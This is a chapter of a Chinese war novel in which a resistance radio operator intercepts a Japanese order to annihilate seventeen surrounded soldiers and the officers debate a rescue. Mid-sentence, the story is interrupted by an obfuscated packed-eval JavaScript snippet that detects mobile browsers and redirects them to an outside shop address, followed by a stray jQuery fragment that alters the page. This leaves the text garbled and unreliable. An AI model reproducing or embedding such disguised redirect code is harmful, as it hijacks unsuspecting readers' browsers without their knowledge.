夜,深了。
芦苇荡里,除了巡逻哨兵偶尔走过的脚步声和远处几声蛙鸣,一片寂静。
大部分的战士,在经历了一整天高强度的体力劳动后,都已经进入了梦乡。
均匀的鼾声从一个个简陋的窝棚里传出,带着一种疲惫后的安宁。
但在团部的指挥所,那个最大也最坚固的窝棚里,灯还亮着。
赵小曼戴着耳机安静地坐在那台十五瓦电台前。
自从他们在这片洼地里安顿下来,除了必要的休整,她每天都会在固定的时间开机,进行短时间的信号侦听。
这既是为了尝试与军区总部恢复更稳定的联系,也是为了截获日伪军的通讯,像一只警惕的耳朵,时刻监听着这片平原上的风吹草动。
今晚似乎和往常没什么不同。
耳机里充斥着大量的、毫无意义的静电噪音。
偶尔会跳出几段日军商业电台播放的、靡靡的日本流行歌曲,或者是伪冀东广播电台那令人作呕的、宣传“日中亲善”的广播。
赵小曼的手指在调谐旋钮上,缓慢而有耐心地移动着。
她的表情像一尊沉静的石雕,没有任何波澜。
长期的报务员生涯,早已将她的性子磨砺得如同深水下的岩石。
突然她的手指停住了。
在一片嘈杂的背景音中,她捕捉到了一段极其微弱、却非常有规律的信号。
那不是普通的广播信号,而是日军军用级别的、经过加密的电码。
而且发报的频率和手法,她很熟悉。
是隶属于日军第26师团通讯联队的专用频率和加密序列。
赵小曼的精神瞬间高度集中起来。
拿起铅笔,在草纸上飞快地记录着那一段段由长短音符组成的神秘代码。
笔尖在纸上沙沙作响。
一旁的王成政委和刚刚从军械所回来的陈墨,都注意到了她的异常,不约而同地停止了交谈,将目光投向了她。
过了足足有十分钟,那段信号才彻底消失在电波的海洋里。
赵小曼摘下耳机,长长地舒了一口气。
她的额头上已经布满了细密的汗珠。
“怎么样?”陈墨低声问道。
“是日军26师团下属的一个大队指挥部,正在和安平县城的联队本部进行通讯。”
赵小曼的语气很凝重,她指着草纸上那些鬼画符般的符号。
“他们的加密等级不高,是我们之前在太行山就已经破译过的丙级密码。我能翻译出大概的意思。”
她拿起另一支红色的铅笔,开始在那些电码符号的下方,写下一行行汉字。
随着翻译的进行,王成政委和陈墨的脸色,也变得越来越难看。
这是一份猎杀指令。
电报的内容很简洁,却充满了血腥味。
“目标【野兔】,共计十七人,携带伤员两名,于今日下午,在献县以南臧家桥地区暴露踪迹。我部已完成合围野兔现被困于臧家桥东南五里处的一片废弃窑场。请求联队本部,于明日拂晓,派遣摩托化步兵中队,携带掷弹筒及**增援,务必完成对野兔的彻底歼灭。”
电报的末尾还附上了一个精确的坐标。
王成政委立刻起身,走到墙上挂着的那幅简易**前,找到了献县和臧家桥的位置。
那地方距离他们所在的这片芦苇荡,直线距离,有将近七十里地。
“是三十三团的人。”
王成政委的声音,变得有些嘶哑。
“你怎么知道?”陈墨问道。
“野兔,是三十三团的代号。”
王成政委的拳头,重重地砸在了地图上。
“五一大扫荡,冀中军区下属的几个主力团都被打散了。我们二十二团还算幸运,大部分人都突围了出来,三十三团就没那么幸运了,他们团长牺牲了,政委也下落不明。剩下的同志,化整为零,一直在敌后跟鬼子兜圈子。这十七个人很可能就是三十三团剩下的、最后一批成建制的队伍了。”
一个主力团最后只剩下十七个人,这个数字像一块巨石压在所有人的心上。
指挥所里陷入了死一般的沉寂。
所有人都明白这意味着什么。
如果不去救援,天亮以后这十七个在绝境中坚持了半个多月的同志,这支英雄团队最后的血脉,就将彻底消失在那片废弃的窑场里。
可是要怎么救?
七十里地。
中间要穿过好几道日伪军的封锁线和据点。
他们现在总共也才三百来人,还带着一大帮伤员和非战斗人员。
派小部队去无异于杯水车薪,甚至可能把自己也搭进去。
派大部队去,目标太大不等走到臧家桥,自己这个好不容
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16675278|183140||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
易才安顿下来的营地,就会先暴露。
这是一个两难的、几乎无解的死局。
“政委。”
马驰也闻讯赶了过来,他的眼睛里布满了血丝,声音沙哑地说道。
“让我带侦察连去吧!我们对地形熟,连夜出发,天亮前说不定能赶到。”
“不行!”
王成政委断然拒绝。
“侦察连总共才几个人?就算你们赶到了,面对鬼子一个加强中队的围剿,能顶什么用?我不能让你们去白白送死!”
“那怎么办?!”
马驰急了,一拳砸在桌子上。
“难道咱们就眼睁睁地看着三十三团的弟兄们,被鬼子包了饺子?!”
指挥所里争吵了起来。
有人主张救,认为见死不救以后队伍就没法带了,人心就散了。
有人主张不救,认为保存现有实力才是最重要的,为了救十七个人搭上整个团的安危,是糊涂账。
两种意见谁也说服不了谁。
所有人的目光,最后都落在了陈墨的身上。
这些天陈墨用他的学识和能力,已经在二十二团的干部战士中,建立起了极高的威信。
在很多人的心里,他已经不仅仅是一个技术教员,更是一个能在关键时刻,拿出办法的主心骨。
陈墨没有说话。
一直低着头,看着地图,手指在那片代表着臧家桥窑场的区域,和他们所在的千顷洼之间,来回地移动着。
大脑在飞速地运转着。
敌人的兵力、位置、行动时间……
我方的兵力、优势、劣势……
所有的信息都在他的脑海里,被拆解、分析、重组。
陈墨在寻找一个破局点。
一个能在不动用大部队、不暴露自身位置的前提下,解开这个死局的、唯一的可能性。
许久,他终于抬起了头。
眼神异常的平静,平静得甚至有些可怕。
“人,一定要救。”
陈墨缓缓地说道,为这场争论定下了基调。
“但是我们不能去臧家桥。”
所有人都愣住了不解地看着他。
不去臧家桥,怎么救人?
陈墨的手指,离开了臧家桥,重重地点在了另一个地方。
那个地方在地图上,标注着一个让所有人都意想不到的名字。
“安平县城”。